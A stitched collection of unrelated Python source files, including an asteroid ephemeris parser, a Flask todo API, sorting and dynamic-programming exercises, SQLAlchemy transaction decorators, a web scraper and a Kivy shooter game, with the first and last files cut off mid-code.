year_str, month_str, day_str = tuple(brightest_string.split('-'))
self.brightest_utc = datetime(int(year_str), int(month_str),
int(day_str)).replace(tzinfo=timezone.utc)
except ValueError:
print(' >>>>> ERROR: Brightest incorrect. (MP=' + self.number + ')')
self.brightest_utc = None
eph_range_strs = self._directive_words(lines, '#EPH_RANGE')[:2]
# self.utc_range = self._directive_words(lines, '#EPH_RANGE')[:2]
self.eph_range = []
for utc_str in eph_range_strs[:2]:
year_str, month_str, day_str = tuple(utc_str.split('-'))
utc_dt = datetime(int(year_str), int(month_str), int(day_str)).replace(tzinfo=timezone.utc)
self.eph_range.append(utc_dt)
# ---------- Observations (already made) section:
obs_strings = [line[len('#OBS'):].strip() for line in lines if line.upper().startswith('#OBS')]
obs_jd_range_strs = [value.split() for value in obs_strings] # nested list of strings (not floats)
self.obs_jd_ranges = []
for range in obs_jd_range_strs:
if len(range) >= 2:
self.obs_jd_ranges.append([float(range[0]), float(range[1])])
else:
print(' >>>>> ERROR: missing #OBS field for MP', self.number, self.name)
# ---------- Ephemeris section:
eph_dict_list = []
i_eph_directive = None
for i, line in enumerate(lines):
if line.upper().startswith('#EPHEMERIS'):
i_eph_directive = i
break
if ((not (lines[i_eph_directive + 1].startswith('==========')) or
(not lines[i_eph_directive + 3].strip().startswith('UTC')) or
(not lines[i_eph_directive + 4].strip().startswith('----------')))):
print(' >>>>> ERROR: ' + mpfile_name +
': MPEC header doesn\'t match expected from minorplanet.info page.')
self.is_valid = False
return
eph_lines = lines[i_eph_directive + 5:]
for line in eph_lines:
eph_dict = dict()
words = line.split()
eph_dict['DateString'] = words[0]
date_parts = words[0].split('-')
eph_dict['DatetimeUTC'] = datetime(year=int(date_parts[0]),
month=int(date_parts[1]),
day=int(date_parts[2])).replace(tzinfo=timezone.utc)
eph_dict['RA'] = 15.0 * (float(words[1]) + float(words[2]) / 60.0 + float(words[3]) / 3600.0)
dec_sign = -1 if words[4].startswith('-') else 1.0
dec_abs_value = abs(float(words[4])) + float(words[5]) / 60.0 + float(words[6]) / 3600.0
eph_dict['Dec'] = dec_sign * dec_abs_value
eph_dict['Delta'] = float(words[7]) # earth-MP, in AU
eph_dict['R'] = float(words[8]) # sun-MP, in AU
eph_dict['Elong'] = float(words[9]) # from sun, in degrees
eph_dict['Phase'] = float(words[10]) # phase angle, in degrees
eph_dict['V_mag'] = float(words[11])
eph_dict['MotionRate'] = float(words[12]) # MP speed in arcseconds per minute.
eph_dict['MotionAngle'] = float(words[13]) # MP direction, from North=0 toward East.
eph_dict['PAB_longitude'] = float(words[14]) # phase angle bisector longitude, in degrees
eph_dict['PAB_latitude'] = float(words[15]) # phase angle bisector latitude, in degrees
eph_dict['MoonPhase'] = float(words[16]) # -1 to 1, where neg is waxing, pos is waning.
eph_dict['MoonDistance'] = float(words[17]) # in degrees from MP
eph_dict['Galactic_longitude'] = float(words[18]) # in degrees
eph_dict['Galactic_latitude'] = float(words[19]) # in degrees
eph_dict_list.append(eph_dict)
self.eph_dict_list = eph_dict_list
self.df_eph = pd.DataFrame(data=eph_dict_list)
self.df_eph.index = self.df_eph['DatetimeUTC'].values
self.is_valid = True
@staticmethod
def _directive_value(lines, directive_string, default_value=None):
for line in lines:
if line.upper().startswith(directive_string):
return line[len(directive_string):].strip()
return default_value # if directive absent.
def _directive_words(self, lines, directive_string):
value = self._directive_value(lines, directive_string, default_value=None)
if value is None:
return None
return value.split()
def eph_from_utc(self, datetime_utc):
""" Interpolate data from mpfile object's ephemeris; return dict, or None if bad datetime input.
Current code requires that ephemeris line spacing spacing = 1 day.
:param datetime_utc: target utc date and time. [python datetime object]
:return: dict of results specific to this MP and datetime, or None if bad datetime input. [dict]
"""
mpfile_first_date_utc = self.eph_dict_list[0]['DatetimeUTC']
i = (datetime_utc - mpfile_first_date_utc).total_seconds() / 24 / 3600 # a float.
if not(0 <= i < len(self.eph_dict_list) - 1): # i.e., if outside date range of eph table.
return None
return_dict = dict()
i_floor = int(floor(i))
i_fract = i - i_floor
for k in self.eph_dict_list[0].keys():
value_before, value_after = self.eph_dict_list[i_floor][k], self.eph_dict_list[i_floor + 1][k]
# Add interpolated value if not a string;
# (use this calc form, because you can subtract but not add datetime objects):
if isinstance(value_before, datetime) or isinstance(value_before, float):
return_dict[k] = value_before + i_fract * (value_after - value_before) # interpolated val.
return return_dict
ANCILLARY_only________________________________________________________ = 0
class KeplerObject:
def __init__(self, epoch_ma, ap, long, incl, ecc, a):
"""
:param epoch_ma: epoch of mean anomaly, in Terrestrial Time JD. [float]
:param ap: argument of perihelion, in degrees. [float]
:param long: longitude of ascending node, in degrees. [float]
:param incl: inclination, in degrees. [float]
:param ecc: eccentricity, dimensionless. [float]
:param a: semi-major axis length, in AU. [float]
"""
self.epoch_ma = epoch_ma
self.ap = ap
self.long = long
self.incl = incl
self.ecc = ecc
self.a = a
self.h = None # H-G model reduced magnitude (placeholder value).
self.g = 0.15 # H-G model phase factor (default value).
self.name = ''
def laguerre_delta(func, funcp, funcpp):
""" Returns Laguerre's method estimate the nearest root of a function that is nearly quadratic.
Reputed to be more robust to starting estimates than simply solving quadratic formula.
:param func: value of function at some x.
:param funcp: first derivative of function at the same x.
:param funcpp: second derivative of function at the same x.
:return: Best estimate of x shift needed to get near y=0. Will probably require iteration.
"""
g = funcp / func
h = g * g - funcpp / func
numerator1 = g + sqrt(2 * h - g * g)
numerator2 = g - sqrt(2 * h - g * g)
numerator = numerator1 if abs(numerator1) > abs(numerator2) else numerator2
return - 2.0 / numerator
# def get_eph(mp, an, location='V28'):
# """ Get one night's ephemeris for one minor planet.
# :param mp: minor planet id [string or int]
# :param an: Astronight ID, e.g. 20200110 [string or int]
# :param location: (longitude, latitude, elevation) [tuple of strings, as in astropy]
# :return: [pandas DataFrame], with columns:
# Date [string], RA (degrees), Dec (degrees), Delta (earth dist, AU), r (sun dist, AU),
# Elongation (deg), Phase (deg), V (magnitudes), Proper motion (arcsec/hour),
# Direction (as compass, degrees).
# """
# mp_string = str(mp)
# an_string = str(an)
# date_string = '-'.join([an_string[0:4], an_string[4:6], an_string[6:8]])
# time_string = '00:00:00'
# df = MPC.get_ephemeris(mp_string, start=date_string + ' ' + time_string,
# number=14, step='1h', location=location).to_pandas()
# df['Date'] = [dt.to_pydatetime().replace(tzinfo=timezone.utc) for dt in df['Date']]
# print(df.columns)
# df = df.drop(['Uncertainty 3sig', 'Unc. P.A.'], axis=1)
# retur
|
990,181 | c060586b2b03a90e0915db789f05c341da454819 | from flask import Flask
from flask_restful import reqparse, abort, Api, Resource, fields, marshal_with
app = Flask(__name__)
api = Api(app)
# Data
TODOS = {
"todo1": {"task": "build an API"},
"todo2": {"task": "?????"},
"todo3": {"task": "profit!"},
}
parser = reqparse.RequestParser()
parser.add_argument("task")
parser.add_argument("smth") # Test
# Represents single Todo item
# Returns single Todo item
# Delete Todo item
class Todo(Resource):
def get(self, todo_id):
abort_if_todo_doesnt_exist(todo_id)
return TODOS[todo_id]
def delete(self, todo_id):
abort_if_todo_doesnt_exist(todo_id)
del TODOS[todo_id]
return '', 204 # 204: no content
def put(self, todo_id):
args = parser.parse_args()
print(args)
task = {"task": args["task"]}
TODOS[todo_id] = task
return task, 201 # 201: created
# Represents complete todo "list"
# Add new todos with POST
class TodoList(Resource):
def get(self):
return TODOS
def post(self):
args = parser.parse_args()
print(args)
todo_id = int(max(TODOS.keys()).lstrip("todo")) + 1
todo_id = f"todo{todo_id:d}"
TODOS[todo_id] = {"task": args["task"]}
return TODOS[todo_id], 201
def abort_if_todo_doesnt_exist(todo_id):
if todo_id not in TODOS:
abort(404, message=f"Todo {todo_id} doesn't exist")
# ##############################################################
# Data - represents "database response object"
class MyTodos:
def __init__(self, todo_id, task):
self.todo_id = todo_id
self.task = task
self.created_on = "Today"
resource_fields = {
"delo": fields.String(attribute='task'),
"todo_id": fields.String,
"created_on": fields.String
}
class MyTodoList(Resource):
@marshal_with(resource_fields)
def get(self):
return MyTodos("todo22", "get beer")
# Api routing
api.add_resource(TodoList, "/v1/todos")
api.add_resource(Todo, "/v1/todos/<todo_id>")
api.add_resource(MyTodoList, "/v1/mytodo")
if __name__ == "__main__":
app.run(debug=True)
|
990,182 | 064a90f6c2353ee8e982d704ddf76b2ccb241cc9 | __author__ = 'changyunglin'
def Question():
'''
This is rod cutting question: find the maximum revenue rj and optimal size sj of the first piece to cut off for each rod size j.
http://www.adchilds.com/2012/04/11/cut-rod-dynamic-programming/
'''
def rod_cutting(n, price, c):
revenue = [0] * (n+1)
size = [0] * (n+1)
for j in range(1, n+1):
q = price[j] # this take cares of no cut
for i in range(1, j+1):
rev = price[i] + revenue[j - i] - c
if q < rev:
q = rev
size[j] = i
# else:
# size[j] = i
revenue[j] = q
print 'revenue: ', revenue
print 'size: ', size
price = [0,1,5,8,9,10,17,17,20,24,30]
print 'length: ', (0,1,2,3,4,5,6,7,8,9,10)
print 'price: ', price
rod_cutting(n=len(price)-1, price=price, c=1)
|
990,183 | f01bdfcac40a7ea181703e8e1c97693021487efc | '''
Created on Jan 31, 2014
@author: darkbk
'''
from time import time
from functools import wraps
import logging
from uuid import uuid4
from sqlalchemy.exc import IntegrityError, DBAPIError
from beecell.simple import id_gen
from beecell.simple import get_member_class, import_class
from beecell.db import TransactionError, QueryError, ModelError
from multiprocessing import current_process
from threading import current_thread
logger = logging.getLogger(__name__)
# container connection
try:
import gevent
container = gevent.local.local()
except:
import threading
container = threading.local()
container.connection = None
# beehive operation
try:
import gevent
operation = gevent.local.local()
except:
import threading
operation = threading.local()
operation.id = None # uuid4
operation.session = None
operation.user = None # (username, userip, uid)
operation.perms = None
operation.transaction = None
def netsted_transaction(fn):
"""Use this decorator to transform a function that contains delete, insert
and update statement in a transaction.
"""
@wraps(fn)
def netsted_transaction_inner(*args, **kwargs): #1
start = time()
stmp_id = id_gen()
session = operation.session
sessionid = id(session)
commit = False
if operation.transaction is None:
operation.transaction = id_gen()
commit = True
logger.debug(u'Create transaction %s' % operation.transaction)
else:
logger.debug(u'Use transaction %s' % operation.transaction)
# set distributed transaction id to 0 for single transaction
try:
operation.id
except:
operation.id = str(uuid4())
try:
# get runtime info
cp = current_process()
ct = current_thread()
# format request params
params = []
for item in args:
params.append(unicode(item))
for k,v in kwargs.iteritems():
params.append(u"'%s':'%s'" % (k, v))
# call internal function
res = fn(*args, **kwargs)
if commit is True:
session.commit()
logger.debug(u'Commit transaction %s' % operation.transaction)
operation.transaction = None
elapsed = round(time() - start, 4)
logger.debug(u'%s.%s - %s - transaction - %s - %s - OK - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
return res
except ModelError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
if ex.code not in [409]:
logger.error(ex.desc, exc_info=1)
logger.error(ex.desc)
#session.rollback()
rollback(session, commit)
raise TransactionError(ex.desc, code=ex.code)
except IntegrityError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex.orig, exc_info=1)
logger.error(ex.orig)
#session.rollback()
rollback(session, commit)
raise TransactionError(ex.orig)
except DBAPIError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex.orig, exc_info=1)
logger.error(ex.orig)
#session.rollback()
rollback(session, commit)
raise TransactionError(ex.orig)
except TransactionError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex.orig, exc_info=1)
logger.error(ex.orig)
#session.rollback()
rollback(session, commit)
raise
except Exception as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex, exc_info=1)
logger.error(ex)
#session.rollback()
rollback(session, commit)
raise TransactionError(ex)
return netsted_transaction_inner
def rollback(session, status):
if status is True:
session.rollback()
logger.warn(u'Rollback transaction %s' % operation.transaction)
operation.transaction = None
def transaction(fn):
"""Use this decorator to transform a function that contains delete, insert
and update statement in a transaction.
"""
@wraps(fn)
def transaction_inner(*args, **kwargs): #1
start = time()
stmp_id = id_gen()
session = operation.session
sessionid = id(session)
# set distributed transaction id to 0 for single transaction
try:
operation.id
except:
operation.id = str(uuid4())
try:
# get runtime info
cp = current_process()
ct = current_thread()
# format request params
params = []
for item in args:
params.append(unicode(item))
for k,v in kwargs.iteritems():
params.append(u"'%s':'%s'" % (k, v))
# call internal function
res = fn(*args, **kwargs)
session.commit()
elapsed = round(time() - start, 4)
logger.debug(u'%s.%s - %s - transaction - %s - %s - OK - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
return res
except ModelError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
if ex.code not in [409]:
#logger.error(ex.desc, exc_info=1)
logger.error(ex.desc)
session.rollback()
raise TransactionError(ex.desc, code=ex.code)
except IntegrityError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex.orig, exc_info=1)
logger.error(ex.orig)
session.rollback()
raise TransactionError(ex.orig)
except DBAPIError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
#logger.error(ex.orig, exc_info=1)
logger.error(ex.orig)
session.rollback()
raise TransactionError(ex.orig)
except Exception as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - transaction - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
#logger.error(ex, exc_info=1)
logger.error(ex)
session.rollback()
raise TransactionError(ex)
return transaction_inner
def query(fn):
"""Use this decorator to transform a function that contains delete, insert
and update statement in a transaction.
"""
@wraps(fn)
def query_inner(*args, **kwargs): #1
start = time()
stmp_id = id_gen()
session = operation.session
sessionid = id(session)
# set distributed transaction id to 0 for single transaction
try:
operation.id
except:
operation.id = str(uuid4())
try:
# get runtime info
cp = current_process()
ct = current_thread()
# format request params
params = []
for item in args:
params.append(str(item))
for k,v in kwargs.iteritems():
params.append(u"'%s':'%s'" % (k, v))
# call internal function
res = fn(*args, **kwargs)
elapsed = round(time() - start, 4)
logger.debug(u'%s.%s - %s - query - %s - %s - OK - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
return res
except ModelError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - query - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex.desc, exc_info=1)
logger.error(ex.desc)
raise QueryError(ex.desc, code=ex.code)
except DBAPIError as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - query - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex.orig, exc_info=1)
logger.error(ex.orig)
raise QueryError(ex.orig, code=400)
except Exception as ex:
elapsed = round(time() - start, 4)
logger.error(u'%s.%s - %s - query - %s - %s - KO - %s' % (
operation.id, stmp_id, sessionid, fn.__name__,
params, elapsed))
logger.error(ex, exc_info=1)
logger.error(ex)
raise QueryError(ex, code=400)
return query_inner
def trace(entity=None, op=u'view'):
"""Decorator
"""
def wrapper(fn):
@wraps(fn)
def decorated(*args, **kwargs):
# get start time
start = time()
args = list(args)
inst = args.pop(0)
def get_entity(entity):
if entity is None:
return inst
else:
eclass = import_class(u'%s.%s' % (inst.__module__, entity))
return eclass(inst)
# execute inner function
try:
ret = fn(inst, *args, **kwargs)
# calculate elasped time
elapsed = round(time() - start, 4)
get_entity(entity).send_event(op, args=args, params=kwargs,
elapsed=elapsed)
except Exception as ex:
# calculate elasped time
elapsed = round(time() - start, 4)
get_entity(entity).send_event(op, args=args, params=kwargs,
exception=ex, elapsed=elapsed)
raise
return ret
return decorated
return wrapper
def trace1(fn):
@wraps(fn)
def wrapper(*args, **kwargs):
# get start time
start = time()
args = list(args)
inst = args.pop(0)
try:
op = fn.func_defaults[-1]
except:
op = u'view'
if isinstance(op, tuple):
op = op[1]
entity = op[0]
entity_obj = entity(inst)
else:
op = op
entity_obj = inst
# execute inner function
try:
ret = fn(inst, *args, **kwargs)
# calculate elasped time
elapsed = round(time() - start, 4)
entity_obj.send_event(op, args=args, params=kwargs,
elapsed=elapsed)
except Exception as ex:
entity_obj.send_event(op, args=args, params=kwargs,
exception=ex, elapsed=elapsed)
raise
return ret
return wrapper
|
990,184 | 6420ec5a5a74214985d8fbdd87aef8286217e71d | #!/usr/bin/env python
#version 0.2
import requests
from bs4 import BeautifulSoup
import json
import numpy as np
class parse():
def __init__(self, datatype):
base_url = "http://webprod.hc-sc.gc.ca/nhpid-bdipsn/{}Req.do?id={}&lang=eng"
if datatype == "ingredient":
self.URL = base_url.format("ingred", "{}")
elif datatype == "subingredient":
self.URL = base_url.format("singred", "{}")
elif datatype == "parent_organism":
self.URL = base_url.format("orgp", "{}")
elif datatype == "organism":
self.URL = base_url.format("org", "{}")
elif datatype == "syn":
self.URL = base_url.format("syn", "{}")
def _getClass(self, element):
if "leftLabel" in element:
return "Label"
elif "alignedContent" in element:
return "Content"
def cleanValue(self, value): # list-value per key in the JSON object
counter = 0
opened_paranthesis = False
for i in value:
counter += 1
if i.startswith('('):
start_paranthesis = value.index(i) - 1
opened_paranthesis = True
elif i.startswith(')') and opened_paranthesis is True:
end_paranthesis = value.index(i) + 1
joined_term = " ".join(value[start_paranthesis:end_paranthesis])
value[start_paranthesis:end_paranthesis] = ["" for x in value[start_paranthesis:end_paranthesis]] # build empty strings to retain index size of list
value.append(joined_term)
opened_paranthesis = False
value = [x for x in value if x!= "" and x!= ","] # for deleting empty strings
return value
def buildHTML(self, id):
r = requests.get(self.URL.format(str(id)))
if r.status_code == 200:
soup = BeautifulSoup(r.text, 'html.parser')
joup = soup.find_all("div", class_ = ["leftLabel", "alignedContent"])
joup = [str(element) for element in joup]
outlist = []
for element in joup:
outlist.append((self._getClass(element), [text.replace("\r\n","").replace(" ","") for text in BeautifulSoup(element, 'html.parser').stripped_strings]))
return outlist
else:
return "Failed to establish successful connection"
def buildJSON(self, data):
output = {}
lastkey = None
for i in data:
## *** Check for type of data (Label vs. Content) ***
if i[0] == "Label":
key = i[1][0][:-1]
if lastkey != key:
output[key] = []
lasttype = "Label"
lastkey = key
else:
output[lastkey] += self.cleanValue(i[1])
return output
def fetch(self, id):
HTML = self.buildHTML(id)
jsonObj = self.buildJSON(HTML)
jsonObj['id'] = str(id)
return jsonObj
|
990,185 | c7e5ec8db074586b57c8b5dde48effc9fbb536f6 | def heapSort(arr):
for i in range(len(arr) / 2, -1, -1):
heapify(arr, i, len(arr))
for i in range(len(arr) - 1, 0, -1):
arr[0], arr[i] = arr[i], arr[0]
heapify(arr, 0, i)
return arr
def heapify(arr, i, arrLen):
left = i * 2 + 1
right = i * 2 + 2
root = i
if left < arrLen and arr[left] < arr[root]:
root = left
if right < arrLen and arr[right] < arr[root]:
root = right
if root != i:
arr[i], arr[root] = arr[root], arr[i]
heapify(arr, root, arrLen)
def heapSortIter(arr):
# build heap
for i in range(len(arr) / 2, -1, -1):
heapifyIter(arr, i, len(arr) - 1)
# build sort
for i in range(len(arr) - 1, 0, -1):
arr[0], arr[i] = arr[i], arr[0]
heapifyIter(arr, 0, i - 1)
return arr
def heapifyIter(arr, start, end):
root = start
child = start * 2 + 1
while child <= end:
right = child + 1
if right <= end and arr[right] < arr[child]:
child = right
if arr[child] < arr[root]:
arr[child], arr[root] = arr[root], arr[child]
root = child
child = root * 2 + 1
else:
break
print heapSortIter([6,5,4,3,2,1])
|
990,186 | 591286320a8e2ae685dd0e2799a8d4ffe136af91 | '''
Created on Mar 2, 2016
@author: yoav
'''
from kivy.app import App
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.uix.image import Image
from kivy.properties import *
from kivy.clock import Clock
from kivy.core.window import Window
from collections import defaultdict
from kivy.uix.widget import Widget
from kivy.uix.button import Button
import itertools
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.label import Label
from kivy.uix.scatter import Scatter
import cmath
import math
from math import radians
import random
from kivy.config import Config, ConfigParser
import kivyoav.autosized_label
import os
from kivy.uix.settings import SettingItem
from kivyoav.autosized_label import AutoSizedLabel
from kivy.uix.popup import Popup
from kivy.core.audio import SoundLoader
import json
sm = ScreenManager()
KEYS = defaultdict(lambda: None)
Config.full_screen = 1
class Sprite(Scatter):
source = StringProperty('')
radius = NumericProperty(0.0)
thrust = NumericProperty(0.0)
def __init__(self, game, velocity_x=0.0, velocity_y=0.0,
**kwargs):
self.game = game
attrs = {}
for attr in 'rgba':
if attr in kwargs:
attrs[attr] = kwargs.pop(attr)
super(Sprite, self).__init__( **kwargs )
for attr, value in attrs.items():
setattr(self, attr, value)
self.velocity_x = velocity_x
self.velocity_y = velocity_y
def update(self, plats=[],):
thrust = self.thrust
y_t = math.sin(radians(self.rotation)) * thrust
x_t = math.cos(radians(self.rotation)) * thrust
self.velocity_x += x_t
self.velocity_y += y_t
self.y += self.velocity_y
self.x += self.velocity_x
def distance(self, other):
a = (self.center_x - other.center_x) ** 2
b = (self.center_y - other.center_y) ** 2
return math.sqrt(a+b)
def collide(self, other, area=0):
d = self.distance(other)
if d < (self.radius+other.radius+area):
return 1
class GlobalStuff(object):
@classmethod
def init(cls):
cls.right = Window.width
cls.left = 0
cls.top = Window.height
cls.buttom = 0
cls.center_x = Window.width / 2
cls.center_y = Window.height / 2
cls.size = cls.width, cls.height = Window.width, Window.height
class Bullet(Sprite):
blow = NumericProperty(1.0)
damage = NumericProperty(1)
bullet_sounds = [SoundLoader.load('Music/shots/gunshot-00.mp3'),SoundLoader.load('Music/shots/gunshot-01.mp3'),SoundLoader.load('Music/shots/gunshot-02.mp3'),SoundLoader.load('Music/shots/gunshot-03.mp3'),
SoundLoader.load('Music/shots/gunshot-04.mp3'),SoundLoader.load('Music/shots/gunshot-05.mp3'),SoundLoader.load('Music/shots/gunshot-06.mp3'),SoundLoader.load('Music/shots/gunshot-07.mp3'),
SoundLoader.load('Music/shots/gunshot-08.mp3'),SoundLoader.load('Music/shots/gunshot-09.mp3')
]* 10
random.shuffle(bullet_sounds)
for sound in bullet_sounds:
sound.volume = 0.5
next_bullet_sound = itertools.cycle(bullet_sounds)
def __init__(self, game, owner, **kw):
super(Bullet, self).__init__(game, **kw)
self.rotation = owner.rotation
self.velocity_x = owner.velocity_x + math.cos(radians(self.rotation)) * 8
self.velocity_y = owner.velocity_y + math.sin(radians(self.rotation)) * 8
self.active = True
self.first = 1
self.owner = owner
self.center = -200, -200
self.blow_rate = 2.0
self.counter = 0
def hit_by(self, other):
self.active = False
self.counter = 40
def update(self):
if self.first:
self.center = self.owner.center
self.first=0
next(self.next_bullet_sound).play()
self.counter +=1
bingo = self.game.check_player_collision(self, [self.owner])
if bingo and self.active:
self.active = False
bingo.hit_by(self)
self.counter = 25
if self.counter > 50:
self.game.remove_bullet(self)
self.active = False
if not self.active:
self.velocity_x *= 0.75
self.velocity_y *= 0.75
self.blow *= self.blow_rate
self.blow_rate *= 0.90
super(Bullet, self).update()
class Player(Sprite):
lives = NumericProperty(5)
def __init__(self, game, name, keys, **kw):
super(Player, self).__init__(game, **kw)
self.velocity_x = 0.0 * math.cos(radians(self.rotation))
self.velocity_y = 0.0 * math.sin(radians(self.rotation))
self.reload = 0
self.keys = keys
self.name = name
self.speed = 0.2
def check_wall_collision(self):
r = self.radius
print(r, self.size, self.center)
x, y = self.center
if x - r < 0:
return True
if x + r > GlobalStuff.right:
return True
if y + r > GlobalStuff.top:
return True
if y-r < 0:
return True
def update(self, user_pressed=KEYS):
if self.lives <= 0 or self.check_wall_collision():
self.lives = 0
self.counter = 20
self.game.mark_dead(self)
self.update = self.play_dead
self.reload -= 1
keys = self.keys
self.thrust = 0
if user_pressed[keys['left']]:
self.rotation += 5
elif user_pressed[keys['right']]:
self.rotation -= 5
if user_pressed[keys['thrust']]:
self.thrust = self.speed
if user_pressed[keys['fire']]:
self.fire()
super(Player, self).update()
def play_dead(self):
self.counter -= 1
if self.counter < 0:
self.game.remove_player(self)
self.game = None
return
self.size_hint_x * 1.05
self.a *= 0.9
super(Player, self).update()
def hit_by(self, something):
self.lives -= min(self.lives, something.damage)
def fire(self):
if self.reload > 0:
return
self.reload = 10
bullet = Bullet(self.game, self)
self.game.add_bullet(bullet)
class BaseGift(Sprite):
src = StringProperty("")
def __init__(self, game, **kwargs):
super(BaseGift, self).__init__(game, **kwargs)
self.src = self.SOURCE
def update(self):
p = self.game.check_player_collision(self)
if p:
self.apply_gift(p)
self.game.remove_gift(self)
return
super(BaseGift, self).update()
def apply_gift(self, player):
raise NotImplementedError("BaseGift is not a real Gift :)")
class SpeedGift(BaseGift):
SOURCE = "imgs/speedometer-32.png"
def apply_gift(self, player):
player.speed *= 1.3
print("player %s thrust is %d" % (player.name, player.thrust))
class LivesGift(BaseGift):
SOURCE = "imgs/heart.png"
def apply_gift(self, player):
player.lives = 5
print("player %s has %d lives now" % (player.name, player.lives))
gift_types = [SpeedGift, LivesGift, ]
def gen_gift(*args, **kw):
return random.choice(gift_types)(*args, **kw)
class Planet(Sprite):
color = ListProperty([1.0, 0.0, 0.0, 0.5])
def __init__(self, game, color, size_hint, pos_hint):
self.color = color
self.damage = 99
super(Planet, self).__init__(game, size_hint=size_hint, pos_hint=pos_hint)
def update(self):
area = self.radius * 3
for obj in itertools.chain(self.game.players, self.game.bullets):
if obj.collide(self, area):
if obj.collide(self):
obj.hit_by(self)
else:
self._attract(obj)
def _attract(self, obj):
diffx = obj.center_x - self.center_x
diffy = obj.center_y - self.center_y
speed = 0.20
ratio = float(abs(diffx)) / (abs(diffy)+abs(diffx))
speedx = speed * ratio
speedy = speed * (1-ratio)
print(speedx, speedy)
obj.velocity_x -= speedx if diffx > 0 else -speedx
obj.velocity_y -= speedy if diffy > 0 else -speedy
class Game(Screen):
area = ObjectProperty(None)
def __init__(self, **kw):
Screen.__init__(self, **kw)
self.player_nums = []
theme = random.choice(['Music/levels/35-battle-1-hurry.mp3',
'Music/levels/19-battle-theme-1.mp3', 'Music/levels/20-battle-theme-2.mp3',
'Music/levels/36-battle-2-hurry.mp3'])
self.background_sound = SoundLoader.load(theme)
def setup(self, players, level):
self.player_nums = players
self.level = level
def on_enter(self, *args):
Screen.on_enter(self, *args)
for w in list(self.area.children):
self.area.remove_widget(w)
self.players = []
self.planets = []
self.gifts = []
self.dead_players = []
self.bullets = []
for i, p in enumerate(ConfigScreen.players, start=1):
if i not in self.player_nums: continue
p = Player(self, **p)
self.players.append(p)
self.area.add_widget(p)
for planet in self.level['planets']:
p = Planet(self,
color=planet['color'],
size_hint=planet['size'],
pos_hint={'center_x': planet['x'],
'center_y': planet['y']})
self.area.add_widget(p)
self.planets.append(p)
self.background_sound.loop = True
self.background_sound.play()
self.label = Label(text="FPS: ?", pos=(200,200))
self.area.add_widget(self.label)
self._loop = Clock.schedule_interval(self._update, 1.0/36)
self.count = 0.0
self.frames_count = 1
def on_leave(self, *args):
Screen.on_leave(self, *args)
self._loop.cancel()
self.background_sound.stop()
def add_bullet(self, bullet):
self.bullets.append(bullet)
self.area.add_widget(bullet)
def remove_bullet(self, bullet):
if bullet in self.bullets:
self.bullets.remove(bullet)
self.area.remove_widget(bullet)
def mark_dead(self, player):
self.players.remove(player)
self.dead_players.append(player)
def remove_player(self, player):
self.dead_players.remove(player)
self.remove_widget(player)
def check_player_collision(self, obj, filter=[]):
for p in self.players:
if p.collide(obj):
if p not in filter:
return p
def remove_gift(self, gift):
self.gifts.remove(gift)
self.area.remove_widget(gift)
def create_gift(self):
p = random.choice(['top', 'buttom', 'left', 'right'])
stuff = {'size_hint': (0.03, 0.03)}
speed = random.choice([2,3, 3.5, 4,5])
if p in ['left', 'right']:
y = (GlobalStuff.top - 20) * random.random() + 10
if p == 'left':
x = 0
stuff['velocity_x'] = 1* speed
else:
x = GlobalStuff.right
stuff['velocity_x'] = -1*speed
else:
x = (GlobalStuff.right - 20) * random.random() + 10
if p == 'top':
y = GlobalStuff.top
stuff['velocity_y'] = -1*speed
else:
y = 0
stuff['velocity_y'] = 1*speed
gift = gen_gift(self, center_x=x, center_y=y, **stuff)
self.area.add_widget(gift)
self.gifts.append(gift)
def _update(self, dt=None, keys= KEYS):
self.count += dt
self.frames_count += 1
random.shuffle(self.players)
for b in self.bullets:
b.update()
for p in self.planets:
p.update()
for p in itertools.chain(self.players, self.dead_players, self.gifts):
p.update()
if self.count > 1.0:
self.label.text = "FPS: %.1f" % (self.frames_count / self.count)
self.count = self.frames_count = 0.0
if len(self.players+self.dead_players) < 2:
s = self.manager.get_screen('game_over')
s.set_winner(self.players[0].name if self.players else None)
self.manager.current = 'game_over'
if random.random() > 0.995:
self.create_gift()
#wall collisions
class ButtonPop(Popup):
def __init__(self, **kw):
self.value = kw.pop('value', 0)
key = kw.pop('key', '')
super(ButtonPop, self).__init__( **kw)
self.title = 'Press a button to bind "%s"' % key
def on_open(self):
Clock.schedule_once(self._get_key,0.01)
def _get_key(self, dt=None):
keys = [k for k, v in KEYS.items() if v]
if keys:
self.value = keys[0]
